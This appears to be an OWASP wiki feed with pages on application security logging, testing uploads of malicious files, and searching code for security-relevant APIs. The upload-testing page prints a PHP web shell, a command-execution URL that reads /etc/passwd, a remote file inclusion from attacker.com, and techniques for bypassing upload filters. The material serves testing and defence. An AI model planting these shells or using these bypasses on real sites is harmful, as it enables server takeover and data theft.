* It should not be possible to completely inactivate application logging or logging of events that are necessary for compliance requirements&lt;br /&gt;
* Alterations to the level/extent of logging must be intrinsic to the application (e.g. undertaken automatically by the application based on an approved algorithm) or follow change management processes (e.g. changes to configuration data, modification of source code)&lt;br /&gt;
* The logging level must be verified periodically&lt;br /&gt;
&lt;br /&gt;
== Event collection == &lt;br /&gt;
&lt;br /&gt;
If your development framework supports suitable logging mechanisms use, or build upon that. Otherwise, implement an application-wide log handler which can be called from other modules/components. Document the interface referencing the organisation-specific event classification and description syntax requirements. If possible create this log handler as a standard module that can is thoroughly tested,  deployed in multiple application, and added to a list of approved &amp;amp; recommended  modules.&lt;br /&gt;
&lt;br /&gt;
* Perform input validation on event data from other trust zones to ensure it is in the correct format (and consider alerting and not logging if there is an input validation failure)&lt;br /&gt;
* Perform sanitization on all event data to prevent log injection attacks e.g. carriage return (CR), line feed (LF) and delimiter characters (and optionally to remove sensitive data)&lt;br /&gt;
* Encode data correctly for the output (logged) format&lt;br /&gt;
* If writing to databases, read, understand and apply the SQL injection cheat sheet&lt;br /&gt;
* Ensure failures in the logging processes/systems do not prevent the application from otherwise running or allow information leakage&lt;br /&gt;
* Synchronize time across all servers and devices [Note C]&lt;br /&gt;
&lt;br /&gt;
Note C: This is not always possible where the application is running on a device under some other party's control (e.g. on an individual's mobile phone, on a remote customer's workstation which is on another corporate network). In these cases attempt to measure the time offset, or record a confidence level in the event time stamp.&lt;br /&gt;
&lt;br /&gt;
Where possible record data in a standard format, or at least ensure it can be exported/broadcast using an industry-standard format.&lt;br /&gt;
&lt;br /&gt;
In some cases, events may be relayed or collected together in intermediate points. In the latter some data may be aggregated or summarized before forwarding on to a central repository and analysis system.&lt;br /&gt;
&lt;br /&gt;
== Verification ==&lt;br /&gt;
&lt;br /&gt;
Logging functionality and systems must be included in code review, application testing and security verification processes:&lt;br /&gt;
&lt;br /&gt;
* Ensure the logging is working correctly and as specified&lt;br /&gt;
* Check events are being classified consistently and the field names, types and lengths are correctly defined to an agreed standard&lt;br /&gt;
* Ensure logging is implemented and enabled during application security, fuzz, penetration and performance testing&lt;br /&gt;
* Test the mechanisms are not susceptible to injection attacks&lt;br /&gt;
* Ensure there are no unwanted side-effects when logging occurs&lt;br /&gt;
* Check the effect on the logging mechanisms when external network connectivity is lost (if this is usually required)&lt;br /&gt;
* Ensure logging cannot be used to deplete system resources, for example by filling up disk space or exceeding database transaction log space, leading to denial of service&lt;br /&gt;
* Test the effect on the application of logging failures such as simulated database connectivity loss, lack of file system space, missing write permissions to the file system, and runtime errors in the logging module itself&lt;br /&gt;
* Verify access controls on the event log data&lt;br /&gt;
* If log data is utilized in any action against users (e.g. blocking access, account lock-out), ensure this cannot be used to cause denial of service (DoS) of other users&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Deployment and operation =&lt;br /&gt;
&lt;br /&gt;
== Release ==&lt;br /&gt;
&lt;br /&gt;
* Provide security configuration information by adding details about the logging mechanisms to release documentation&lt;br /&gt;
* Brief the application/process owner about the application logging mechanisms&lt;br /&gt;
* Ensure the outputs of the monitoring (see below) are integrated with incident response processes&lt;br /&gt;
&lt;br /&gt;
== Operation ==&lt;br /&gt;
&lt;br /&gt;
Enable processes to detect whether logging has stopped, and to identify tampering or unauthorized access and deletion (see protection below).&lt;br /&gt;
&lt;br /&gt;
== Protection ==&lt;br /&gt;
&lt;br /&gt;
The logging mechanisms and collected event data must be protected from mis-use such as tampering in transit, and unauthorized access, modification and deletion once stored. Logs may contain personal and other sensitive information, or the data may contain information regarding the application's code and logic. In addition, the collected information in the logs may itself have business value (to competitors, gossip-mongers, journalists and activists) such as allowing the estimate of revenues, or providing performance information about employees. This data may be held on end devices, at intermediate points, in centralized repositories and in archives and backups. Consider whether parts of the data may need to be excluded, masked, sanitized, hashed or encrypted during examination or extraction.&lt;br /&gt;
&lt;br /&gt;
At rest:&lt;br /&gt;
&lt;br /&gt;
* Build in tamper detection so you know if a record has been modified or deleted&lt;br /&gt;
* Store or copy log data to read-only media as soon as possible&lt;br /&gt;
* All access to the logs must be recorded and monitored (and may need prior approval)&lt;br /&gt;
* The privileges to read log data should be restricted and reviewed periodically&lt;br /&gt;
&lt;br /&gt;
In transit:&lt;br /&gt;
&lt;br /&gt;
* If log data is sent over untrusted networks (e.g. for collection, for dispatch elsewhere, for analysis, for reporting), use a secure transmission protocol&lt;br /&gt;
* Consider whether the origin of the event data needs to be verified&lt;br /&gt;
* Perform due diligence checks (regulatory and security) before sending event data to third parties&lt;br /&gt;
&lt;br /&gt;
See NIST SP 800-92 Guide to Computer Security Log Management for more guidance.&lt;br /&gt;
&lt;br /&gt;
== Monitoring of events ==&lt;br /&gt;
&lt;br /&gt;
The logged event data needs to be available to review and there are processes in place for appropriate monitoring, alerting and reporting:&lt;br /&gt;
&lt;br /&gt;
* Incorporate the application logging into any existing log management systems/infrastructure e.g. centralized logging and analysis systems &lt;br /&gt;
* Ensure event information is available to appropriate teams&lt;br /&gt;
* Enable alerting and signal the responsible teams about more serious events immediately&lt;br /&gt;
* Share relevant event information with other detection systems, to related organizations and centralized intelligence gathering/sharing systems&lt;br /&gt;
&lt;br /&gt;
== Disposal of logs ==&lt;br /&gt;
&lt;br /&gt;
Log data, temporary debug logs, and backups/copies/extractions, must not be destroyed before the duration of the required data retention period, and must not be kept beyond this time. Legal, regulatory and contractual obligations may impact on these periods.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Related articles =&lt;br /&gt;
&lt;br /&gt;
OWASP [http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI Documentation]&lt;br /&gt;
&lt;br /&gt;
OWASP [https://www.owasp.org/index.php/Category:OWASP_Logging_Project Logging Project]&lt;br /&gt;
&lt;br /&gt;
IETF [http://tools.ietf.org/html/rfc5424 syslog protocol]&lt;br /&gt;
&lt;br /&gt;
Mitre [http://cee.mitre.org/ Common Event Expression (CEE)]&lt;br /&gt;
&lt;br /&gt;
NIST [http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf SP 800-92 Guide to Computer Security Log Management]&lt;br /&gt;
&lt;br /&gt;
PCISSC [https://www.pcisecuritystandards.org/security_standards/documents.php PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4]&lt;br /&gt;
&lt;br /&gt;
W3C [http://www.w3.org/TR/WD-logfile.html Extended Log File Format]&lt;br /&gt;
&lt;br /&gt;
Other [http://arctecgroup.net/pdf/howtoapplogging.pdf How to Do Application Logging Right, Anton Chuvakin &amp;amp; Gunnar Peterson,  IEEE Security &amp;amp; Privacy Journal]&lt;br /&gt;
&lt;br /&gt;
Other [http://taosecurity.blogspot.co.uk/2009/08/build-visibility-in.html Build Visibility In, Richard Bejtlich, TaoSecurity blog]&lt;br /&gt;
&lt;br /&gt;
Other [http://www.arcsight.com/solutions/solutions-cef/ Common Event Format (CEF), Arcsight]&lt;br /&gt;
&lt;br /&gt;
Other [https://www.ibm.com/developerworks/community/wikis/form/anonymous/api/wiki/9989d3d7-02c1-444e-92be-576b33d2f2be/page/3dc63f46-4a33-4e0b-98bf-4e55b74e556b/attachment/a19b9122-5940-4c89-ba3e-4b4fc25e2328/media/QRadar_LEEF_Format_Guide.pdf Log Event Extended Format ('''LEEF'''), IBM]&lt;br /&gt;
&lt;br /&gt;
Other [http://www.clerkendweller.com/2010/8/17/Application-Security-Logging Application Security Logging, Colin Watson, Web Security Usability and Design Blog]&lt;br /&gt;
&lt;br /&gt;
Other [http://msdn.microsoft.com/en-us/library/windows/desktop/bb986747(v=vs.85).aspx Common Log File System (CLFS), Microsoft]&lt;br /&gt;
&lt;br /&gt;
Other [http://www.symantec.com/connect/articles/building-secure-applications-consistent-logging Building Secure Applications: Consistent Logging, Rohit Sethi &amp;amp; Nish Bhalla, Symantec  Connect]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Contributors =&lt;br /&gt;
&lt;br /&gt;
Most of the information included is based on content in the articles referenced in the text and listed above, but the following people have provided their ideas, knowledge and practical experience:&lt;br /&gt;
&lt;br /&gt;
Colin Watson - colin.watson[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Eoin Keary - eoin.keary[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Alexis Fitzgerald - alexis.fitzgerald[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-009)&amp;diff=232855</id>
		<title>Test Upload of Malicious Files (OTG-BUSLOGIC-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-009)&amp;diff=232855"/>
				<updated>2017-09-05T01:13:30Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* Source Code Review */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Many application’s business processes allow for the upload of data/information. We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files.   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, &amp;quot;malicious&amp;quot; means different things to different systems, for example Malicious files that may exploit SQL server vulnerabilities may not be considered a &amp;quot;malicious&amp;quot; to a main frame flat file environment.   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test==&lt;br /&gt;
&lt;br /&gt;
Generic Testing Method&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and &amp;quot;malicious&amp;quot; file in your environment. &lt;br /&gt;
&lt;br /&gt;
• Develop or acquire a known “malicious” file. An [http://www.eicar.org/85-0-Download.html EICAR anti-malware test file] can be used as harmless, but widely detected by antivirus software.&lt;br /&gt;
&lt;br /&gt;
• Try to upload the malicious file to the application/system and verify that it is correctly rejected.   &lt;br /&gt;
&lt;br /&gt;
• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Exploit Payload ===&lt;br /&gt;
&lt;br /&gt;
• Using the Metasploit payload generation functionality generates a shellcode as a Windows executable using the Metasploit &amp;quot;msfpayload&amp;quot; command.&lt;br /&gt;
&lt;br /&gt;
• Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Malicious File ===&lt;br /&gt;
&lt;br /&gt;
• Develop or create a file that should fail the application malware detection process. There are many available on the Internet such as ducklin.htm or ducklin-html.htm.  &lt;br /&gt;
&lt;br /&gt;
• Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.&lt;br /&gt;
&lt;br /&gt;
http://www.eicar.org/86-0-intended-use.html&lt;br /&gt;
&lt;br /&gt;
=== WebShell Backdoor ===&lt;br /&gt;
&lt;br /&gt;
For example upload the 'WebShell-backdoor.php' to the target victim site.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;?php&lt;br /&gt;
 if(isset($_REQUEST['cmd'])){&lt;br /&gt;
 echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&lt;br /&gt;
 $cmd = ($_REQUEST['cmd']);&lt;br /&gt;
 system($cmd);&lt;br /&gt;
 echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&lt;br /&gt;
 die;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once it's uploaded, the testers/hackers may get the password by visiting the URL below.&lt;br /&gt;
&lt;br /&gt;
 http://TargetVictimSite.com/WebShell-backdoor.php?cmd=cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
or it may execute by remote file injection as below.&lt;br /&gt;
&lt;br /&gt;
http://TargetVictimSite.com/File.php?include=http://attacker.com/WebShell-backdoor.php&lt;br /&gt;
&lt;br /&gt;
Other PHP example:&lt;br /&gt;
 &amp;lt;?php @eval($_POST['password']);?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Invalid File ===&lt;br /&gt;
&lt;br /&gt;
• Set up the intercepting proxy to capture the “valid” request for an accepted file.&lt;br /&gt;
&lt;br /&gt;
• Send an “invalid” request through with a valid/acceptable file extension and see if the  request is accepted or properly rejected.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
When there is file upload feature supported, the following API/methods are common to be found in the source code.&lt;br /&gt;
&lt;br /&gt;
* Java: new file, import, upload, getFileName, Download, getOutputString, fileOutputStream, java.io.file, export&lt;br /&gt;
* C/C++: open, fopen&lt;br /&gt;
* PHP: move_uploaded_file(),Readfile, file_put_contents(),file(),parse_ini_file(), copy(),fopen(),include(), require()&lt;br /&gt;
&lt;br /&gt;
=== Evasion of the Filter ===&lt;br /&gt;
The following techniques may be used to bypass the website file upload checking rules and filters.&lt;br /&gt;
&lt;br /&gt;
* Change the value of 'Content-Type' as 'image/jpeg' in HTTP request&lt;br /&gt;
* Change the extensions as executable extensions such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml&lt;br /&gt;
* Changes of capital letters of extensions. such as file.PhP or file.AspX&lt;br /&gt;
* Using special trailing such as spaces, dots or null characters such as file.asp… . file.php;jpg, file.asp%00.jpg, 1.jpg%00.php&lt;br /&gt;
&lt;br /&gt;
The executable extensions should be in black list  such as file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml&lt;br /&gt;
&lt;br /&gt;
* In IIS6 vulnerability, if the file name is file.asp;file.jpg,the file will be executed as file.asp.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.targetVictim.com/path/file.asp;file.jpg&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In NginX, if the original file name is test.jpg, testers/hackers may change it to 'test.jpg/x.php'&lt;br /&gt;
Once it's uploaded, the file will be executed as x.php&lt;br /&gt;
&lt;br /&gt;
=== Zip files path ===&lt;br /&gt;
One Zip file may contain the malicious PHP with target purpose path such as '..\..\..\..\hacker.php'&lt;br /&gt;
If the website doesn't check the unzip target path, the hacker.php may unzip to the specified path.&lt;br /&gt;
&lt;br /&gt;
=== Zip Bomp ===&lt;br /&gt;
Upload the ZIP bomb file that may cause application denial of service.&lt;br /&gt;
&lt;br /&gt;
https://github.com/AbhiAgarwal/notes/wiki/Zip-bomb&lt;br /&gt;
&lt;br /&gt;
* new File, file, OutputSteam, upload, import, file_put_contents, open, fopen&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)| Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
• Metasploit's payload generation functionality &lt;br /&gt;
&lt;br /&gt;
• Intercepting proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload&lt;br /&gt;
&lt;br /&gt;
Why File Upload Forms are a Major Security Threat - http://www.acunetix.com/websitesecurity/upload-forms-threat/&lt;br /&gt;
&lt;br /&gt;
File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload&lt;br /&gt;
&lt;br /&gt;
Overview of Malicious File Upload Attacks - http://securitymecca.com/article/overview-of-malicious-file-upload-attacks/&lt;br /&gt;
&lt;br /&gt;
8 Basic Rules to Implement Secure File Uploads - http://software-security.sans.org/blog/2009/12/28/8-basic-rules-to-implement-secure-file-uploads&lt;br /&gt;
&lt;br /&gt;
Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms&lt;br /&gt;
&lt;br /&gt;
How to Tell if a File is Malicious - http://www.techsupportalert.com/content/how-tell-if-file-malicious.htm&lt;br /&gt;
&lt;br /&gt;
CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html&lt;br /&gt;
&lt;br /&gt;
Implementing Secure File Upload - http://infosecauditor.wordpress.com/tag/malicious-file-upload/&lt;br /&gt;
&lt;br /&gt;
Watchful File Upload - http://palizine.plynt.com/issues/2011Apr/file-upload/&lt;br /&gt;
&lt;br /&gt;
Matasploit Generating Payloads - http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads&lt;br /&gt;
&lt;br /&gt;
Project Shellcode – Shellcode Tutorial 9: Generating Shellcode Using Metasploit&lt;br /&gt;
http://www.projectshellcode.com/?q=node/29&lt;br /&gt;
&lt;br /&gt;
Anti-Malware Test file - http://www.eicar.org/86-0-Intended-use.html&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
While safeguards such as black or white listing of file extensions, using “Content-Type” from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them.&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Crawling_Code&amp;diff=232667</id>
		<title>Crawling Code</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Crawling_Code&amp;diff=232667"/>
				<updated>2017-08-25T02:24:16Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* Crypto */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Code Review Metrics | lblprev=&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Searching for Code in J2EE/Java | lblnext=&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
Crawling code is the practice of scanning a code base of the review target in question. It is, in effect, looking for key pointers wherein a possible security vulnerability might reside. Certain APIs are related to interfacing to the external world or file IO or user management, which are key areas for an attacker to focus on. In crawling code we look for APIs relating to these areas. We also need to look for business logic areas which may cause security issues, but generally these are bespoke methods which have bespoke names and can not be detected directly, even though we may touch on certain methods due to their relationship with a certain key API. &lt;br /&gt;
&lt;br /&gt;
We also need to look for common issues relating to a specific language; issues that may not be *security* related but which may affect the stability/availability of the application in the case of extraordinary circumstances. Other issues when performing a code review are areas such a simple copyright notice in order to protect one’s intellectual property. &lt;br /&gt;
&lt;br /&gt;
Crawling code can be done manually or in an automated fashion using automated tools. Tools as simple as grep or wingrep can be used. Other tools are available which would search for key words relating to a specific programming language. &lt;br /&gt;
&lt;br /&gt;
The following sections shall cover the function of crawing code for Java/J2EE, .NET and Classic ASP.  This section is best used in conjunction with the [[Security Code Review Coverage|transactional analysis]] section also detailed in this guide.&lt;br /&gt;
&lt;br /&gt;
==Searching for Key Indicators== &lt;br /&gt;
The basis of the code review is to locate and analyse areas of code which may have application security implications. Assuming the code reviewer has a thorough understanding of the code, what it is intended to do, and the context in which it is to be used, firstly one needs to sweep the code base for areas of interest. &lt;br /&gt;
&lt;br /&gt;
This can be done by performing a text search on the code base looking for keywords relating to APIs and functions. Below is a guide for .NET framework 1.1 &amp;amp; 2.0 &lt;br /&gt;
&lt;br /&gt;
==Searching for Code in .NET== &lt;br /&gt;
Firstly one needs to be familiar with the tools one can use in order to perform text searching, following this one needs to know what to look for. &lt;br /&gt;
&lt;br /&gt;
In this section we will assume you have a copy of Visual Studio (VS) .NET at hand. VS has two types of search &amp;quot;Find in Files&amp;quot; and a cmd line tool called Findstr.&lt;br /&gt;
&lt;br /&gt;
The test search tools in XP is not great in my experience and if one has to use this make sure SP2 in installed as it works better. To start off, one should scan thorough the code looking for common patterns or keywords such as &amp;quot;User&amp;quot;, &amp;quot;Password&amp;quot;, &amp;quot;Pswd&amp;quot;, &amp;quot;Key&amp;quot;, &amp;quot;Http&amp;quot;, etc... This can be done using the &amp;quot;Find in Files&amp;quot; tool in VS or using findstring as follows: &lt;br /&gt;
&lt;br /&gt;
findstr /s /m /i /d:c:\projects\codebase\sec &amp;quot;http&amp;quot; *.*&lt;br /&gt;
&lt;br /&gt;
==HTTP Request Strings==&lt;br /&gt;
Requests from external sources are obviously a key area of a security code review. We need to ensure that all HTTP requests received are data validated for composition, max and min length, and if the data falls with the realms of the parameter white-list. Bottom-line is this is a key area to look at and ensure security is enabled. &lt;br /&gt;
&lt;br /&gt;
request.accepttypes&amp;lt;br&amp;gt;&lt;br /&gt;
request.browser&amp;lt;br&amp;gt;&lt;br /&gt;
request.files&amp;lt;br&amp;gt;&lt;br /&gt;
request.headers&amp;lt;br&amp;gt;&lt;br /&gt;
request.httpmethod&amp;lt;br&amp;gt;&lt;br /&gt;
request.item&amp;lt;br&amp;gt;&lt;br /&gt;
request.querystring&amp;lt;br&amp;gt;&lt;br /&gt;
request.form &amp;lt;br&amp;gt;&lt;br /&gt;
request.cookies&amp;lt;br&amp;gt;&lt;br /&gt;
request.certificate&amp;lt;br&amp;gt;&lt;br /&gt;
request.rawurl&amp;lt;br&amp;gt;&lt;br /&gt;
request.servervariables&amp;lt;br&amp;gt;&lt;br /&gt;
request.url&amp;lt;br&amp;gt;&lt;br /&gt;
request.urlreferrer&amp;lt;br&amp;gt;&lt;br /&gt;
request.useragent&amp;lt;br&amp;gt;&lt;br /&gt;
request.userlanguages&amp;lt;br&amp;gt;&lt;br /&gt;
request.IsSecureConnection&amp;lt;br&amp;gt;&lt;br /&gt;
request.TotalBytes&amp;lt;br&amp;gt;&lt;br /&gt;
request.BinaryRead&amp;lt;br&amp;gt;&lt;br /&gt;
InputStream&amp;lt;br&amp;gt;&lt;br /&gt;
HiddenField.Value&amp;lt;br&amp;gt;&lt;br /&gt;
TextBox.Text&amp;lt;br&amp;gt;&lt;br /&gt;
recordSet&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==HTML Output==&lt;br /&gt;
Here we are looking for responses to the client. Responses which go unvalidated or which echo external input without data validation are key areas to examine. Many client side attacks result from poor response validation. XSS relies on this somewhat. &lt;br /&gt;
&lt;br /&gt;
response.write &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;% = &amp;lt;br&amp;gt;&lt;br /&gt;
HttpUtility &amp;lt;br&amp;gt;&lt;br /&gt;
HtmlEncode &amp;lt;br&amp;gt;&lt;br /&gt;
UrlEncode &amp;lt;br&amp;gt;&lt;br /&gt;
innerText &amp;lt;br&amp;gt;&lt;br /&gt;
innerHTML &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==SQL &amp;amp; Database==&lt;br /&gt;
Locating where a database may be involved in the code is an important aspect of the code review. Looking at the database code will help determine if the application is vulnerable to SQL injection. One aspect of this is to verify that the code uses either SqlParameter, OleDbParameter, or OdbcParameter(System.Data.SqlClient). These are typed and treat parameters as the literal value and not executable code in the database. &lt;br /&gt;
&lt;br /&gt;
exec sp_executesql &amp;lt;br&amp;gt;&lt;br /&gt;
execute sp_executesql &amp;lt;br&amp;gt;&lt;br /&gt;
select from &amp;lt;br&amp;gt;&lt;br /&gt;
Insert &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
update &amp;lt;br&amp;gt;&lt;br /&gt;
delete from where &amp;lt;br&amp;gt;&lt;br /&gt;
delete &amp;lt;br&amp;gt;&lt;br /&gt;
exec sp_ &amp;lt;br&amp;gt;&lt;br /&gt;
execute sp_ &amp;lt;br&amp;gt;&lt;br /&gt;
exec xp_ &amp;lt;br&amp;gt;&lt;br /&gt;
execute sp_ &amp;lt;br&amp;gt;&lt;br /&gt;
exec @ &amp;lt;br&amp;gt;&lt;br /&gt;
execute @ &amp;lt;br&amp;gt;&lt;br /&gt;
executestatement &amp;lt;br&amp;gt;&lt;br /&gt;
executeSQL &amp;lt;br&amp;gt;&lt;br /&gt;
setfilter &amp;lt;br&amp;gt;&lt;br /&gt;
executeQuery &amp;lt;br&amp;gt;&lt;br /&gt;
GetQueryResultInXML &amp;lt;br&amp;gt;&lt;br /&gt;
adodb &amp;lt;br&amp;gt;&lt;br /&gt;
sqloledb &amp;lt;br&amp;gt;&lt;br /&gt;
sql server &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
driver &amp;lt;br&amp;gt;&lt;br /&gt;
Server.CreateObject &amp;lt;br&amp;gt;&lt;br /&gt;
.Provider &amp;lt;br&amp;gt;&lt;br /&gt;
.Open &amp;lt;br&amp;gt;&lt;br /&gt;
ADODB.recordset &amp;lt;br&amp;gt;&lt;br /&gt;
New OleDbConnection &amp;lt;br&amp;gt;&lt;br /&gt;
ExecuteReader &amp;lt;br&amp;gt;&lt;br /&gt;
DataSource &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SqlCommand &amp;lt;br&amp;gt;&lt;br /&gt;
Microsoft.Jet &amp;lt;br&amp;gt;&lt;br /&gt;
SqlDataReader &amp;lt;br&amp;gt;&lt;br /&gt;
ExecuteReader &amp;lt;br&amp;gt;&lt;br /&gt;
GetString &amp;lt;br&amp;gt;&lt;br /&gt;
SqlDataAdapter &amp;lt;br&amp;gt; &lt;br /&gt;
CommandType &amp;lt;br&amp;gt;&lt;br /&gt;
StoredProcedure &amp;lt;br&amp;gt;&lt;br /&gt;
System.Data.sql &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Cookies==&lt;br /&gt;
Cookie manipulation can be key to various application security exploits, such as session hijacking/fixation and parameter manipulation. One should examine any code relating to cookie functionality, as this would have a bearing on session security. &lt;br /&gt;
&lt;br /&gt;
System.Net.Cookie &amp;lt;br&amp;gt;&lt;br /&gt;
HTTPOnly &amp;lt;br&amp;gt;&lt;br /&gt;
document.cookie &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==HTML Tags==&lt;br /&gt;
Many of the HTML tags below can be used for client side attacks such as cross site scripting. It is important to examine the context in which these tags are used and to examine any relevant data validation associated with the display and use of such tags within a web application. &lt;br /&gt;
&lt;br /&gt;
HtmlEncode &amp;lt;br&amp;gt;&lt;br /&gt;
URLEncode &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;applet&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;frameset&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;embed&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;frame&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;iframe&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;img&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;style&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;layer&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;ilayer&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;meta&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;object&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;frame security &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;iframe security &amp;lt;br&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
==Input Controls==&lt;br /&gt;
The input controls below are server classes used to produce and display web application form fields. Looking for such references helps locate entry points into the application. &lt;br /&gt;
&lt;br /&gt;
system.web.ui.htmlcontrols.htmlinputhidden&lt;br /&gt;
system.web.ui.webcontrols.hiddenfield&lt;br /&gt;
